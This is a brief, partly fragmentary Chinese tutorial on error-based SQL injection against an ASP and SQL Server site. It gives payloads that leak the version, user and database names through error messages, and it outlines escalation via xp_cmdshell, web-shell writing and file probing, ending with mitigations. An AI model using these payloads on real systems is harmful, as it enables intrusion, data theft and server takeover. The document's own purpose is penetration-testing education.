警示:本文描述攻擊技術僅供防禦研究與授權滲透測試使用,未經授權測試屬違法行為。
測試點:https://www.xxx.com/list.asp?classid=1'
回應:Microsoft OLE DB Provider for SQL Server error '80040e14' 未閉合的引號...
確認存在 SQL Injection(單引號未過濾)。
| 函數 | 用途 | Payload 範例 |
|---|---|---|
@@VERSION | 作業系統版本、SQL Server 版本、SP 等級 | classid=1 and 0<>(select @@version) |
USER_NAME() | 目前連線使用者 | classid=1 and user_name()='dbo' |
DB_NAME() | 目前資料庫名稱 | classid=1 and 0<>(select db_name()) |
HOST_NAME() | 主機名稱 | classid=1 and 0<>(select host_name()) |
錯誤回顯將字串轉換為 int 失敗,導致資訊洩露於錯誤訊息中。
user_name()='dbo' 回傳正常 → 確為 dbo 權限,通常隸屬 sysadmin 伺服器角色。xp_cmdshell、sp_OACreate 等危險擴充預存程序奪取作業系統控制權。sysobjects、syscolumns 系統表查詢。xp_dirtree、xp_fileexist、bulk insert。xp_cmdshell 執行 echo ^<^?php ... ^?^> > shell.php 或 bcp 匯出。xp_cmdshell 直接執行系統指令。sysadmin、停用 xp_cmdshell 等危險擴充。SQL Injection 根因在於未參數化的動態 SQL 拼接。錯誤回顯放大資訊洩露,內建函數與擴充預存程序提供豐富攻擊面。唯有參數化查詢、最小權限與錯誤隱藏三位一體,才能從根本斷絕注入鏈條。